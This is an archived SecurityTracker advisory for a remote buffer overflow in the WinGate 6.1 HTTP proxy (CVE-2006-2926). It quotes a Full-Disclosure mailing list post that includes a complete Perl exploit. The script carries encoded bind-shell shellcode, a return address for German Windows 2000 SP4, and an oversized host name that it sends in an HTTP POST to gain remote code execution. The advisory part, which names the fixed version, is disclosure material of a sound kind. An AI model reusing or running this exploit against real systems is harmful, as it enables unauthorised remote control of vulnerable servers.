SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   WinGate Vendors:   Qbik IP Management Limited
WinGate Buffer Overflow in HTTP Proxy Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016239
SecurityTracker URL:  http://securitytracker.com/id/1016239
CVE Reference:   CVE-2006-2926   (Links to External Site)
Updated:  Jun 12 2006
Original Entry Date:  Jun 7 2006
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 6.1.1.1077
Description:   A vulnerability was reported in WinGate. A remote user can execute arbitrary code on the target system.

A remote user can send a specially crafted HTTP host name parameter value to trigger a buffer overflow in the HTTP Proxy and execute arbitrary code on the target system. The code will run with the privileges of the target service.

A demonstration request is provided:

POST http://[AAAAAAA....A]/ HTTP/1.0\r\n\r\n

kingcope discovered this vulnerability.

Impact:   A remote user can execute arbitrary code on the target system.
Solution:   The vendor has issued a fixed version (6.1.3), available at:

http://www.wingate.com/download.php

Vendor URL:  www.wingate.com/product-wingate.php (Links to External Site)
Cause:   Boundary error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [Full-disclosure] MDaemon NOT vulnerable .. sorry for the

This is a multi-part message in MIME format.
--------------060504060105000506050109
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit

Hello this is kcope,
recently I thought I had discovered a remote preauth vulnerability in
MDaemon latest version (9.0.1/9.0.2).
And it really looked like one in the debugger (OllyDbg) .. so I posted
it to full disclosure.
Afterwards I tried to write an exploit, and yes I succeeded! But the
problem is the "vulnerability" is only
exploitable inside the debugger for some weird reason. I guess it is not
exploitable under normal conditions
without a debugger attached. I guess the exception handler drops us to
another place when a debugger is
not attached. Because I am not in place to provide a working exploit for
this I am taking
back my advisory and please the vendor and you guys to forgive me about
that stupid posting, shit happens.
In future I will only release advisories with proven exploits :)



Ok lets go


QBik Wingate version 6.1.1.1077 Remote Buffer Overflow

WinGate 6.1 is a sophisticated integrated Internet gateway and
communications server
designed to meet the control, security and email needs of today's
Internet-connected businesses.

Description
-------------
The Wingate Product from QBik has a buffer overflow in the HTTP Proxy when
handling large hosts in a HTTP request.

This example will trigger an access violation due to the buffer overflow.
POST http://[AAAAAAA....A]/ HTTP/1.0\r\n\r\n

when a request like the one above is supplied wingate does not crash but
denies service on all proxy ports.

In my audit to exploit this vulnerability EIP is redirected to our own
location after
several exception handlers kicked in.
When EIP is redirected ESI holds our buffer including the shellcode.
So I chose a JMP esi in memory space for the EIP redirection and
successfully executed the shellcode.

Exploit for Windows 2000 is attached

- - kingcope


--------------060504060105000506050109
Content-Type: application/x-perl;
 name="wingatex.pl"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="wingatex.pl"

### *** Proof of concept (not for "in the wild" kiddies) ***
### QBik Wingate version 6.1.1.1077 remote exploit for Win2k SP4 (german)
### by kcope in 2006
###
use IO::Socket;

if ($ARGV[0] eq "")
{
 print "param1 = remote host";
 exit;
}

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e".
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58".
"\x4e\x46\x46\x32\x46\x52\x4b\x48\x45\x44\x4e\x33\x4b\x38\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58".
"\x4f\x35\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c".
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x52\x4a\x32\x45\x57\x45\x4e\x4b\x58".
"\x4f\x35\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x34".
"\x4b\x48\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x58".
"\x49\x48\x4e\x46\x46\x32\x4e\x31\x41\x36\x43\x4c\x41\x43\x4b\x4d".
"\x46\x56\x4b\x58\x43\x44\x42\x33\x4b\x58\x42\x34\x4e\x30\x4b\x48".
"\x42\x47\x4e\x31\x4d\x4a\x4b\x58\x42\x54\x4a\x30\x50\x35\x4a\x46".
"\x50\x38\x50\x34\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46".
"\x43\x35\x48\x56\x4a\x46\x43\x53\x44\x53\x4a\x46\x47\x47\x43\x47".
"\x44\x33\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e".
"\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x45\x49\x38\x45\x4e".
"\x48\x36\x41\x38\x4d\x4e\x4a\x50\x44\x30\x45\x55\x4c\x46\x44\x30".
"\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x45".
"\x4f\x4f\x48\x4d\x43\x55\x43\x35\x43\x35\x43\x55\x43\x35\x43\x44".
"\x43\x35\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x56\x4a\x46\x41\x31".
"\x4e\x45\x48\x56\x43\x55\x49\x48\x41\x4e\x45\x59\x4a\x46\x46\x4a".
"\x4c\x41\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x56\x42\x51".
"\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x52".
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d".
"\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x35\x4f\x4f\x48\x4d".
"\x42\x35\x46\x35\x46\x55\x45\x55\x4f\x4f\x42\x4d\x43\x59\x4a\x46".
"\x47\x4e\x49\x57\x48\x4c\x49\x57\x47\x35\x4f\x4f\x48\x4d\x45\x45".
"\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x56\x43\x46".
"\x4d\x46\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x35\x49\x52\x4e\x4c".
"\x49\x38\x47\x4e\x4c\x46\x46\x34\x49\x38\x44\x4e\x41\x43\x42\x4c".
"\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x42\x50\x4f\x44\x54\x4e\x32".
"\x43\x39\x4d\x58\x4c\x47\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46".
"\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x54\x4f\x4f".
"\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x55\x41\x35\x41\x35\x4c\x56".
"\x41\x30\x41\x55\x41\x55\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x56".
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36".
"\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x58\x47\x45\x4e\x4f".
"\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d".
"\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d".
"\x4f\x4f\x42\x4d\x5a";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '80',
                              Proto    => 'tcp');

$ret = "\x4b\x4f\x9e\x01";	# JMP ESI Win2k SP4 German
$x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSAAAAUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSBBBBUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS".$ret."UUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSDDDDUUUUVVVVWWWWXXXXYYYYZZZZ"
."AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJ\xeb\x3dKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSEEEEUUUUVVVVWWWWXXXXYYYYZZZZ";
$a = "A" x 2000 . $x . "\x90" x 100 . $shellcode;
print $sock "POST http://$a/ HTTP/1.0\r\n\r\n";


while (<$sock>) {
	print;	
}

--------------060504060105000506050109
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
--------------060504060105000506050109--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC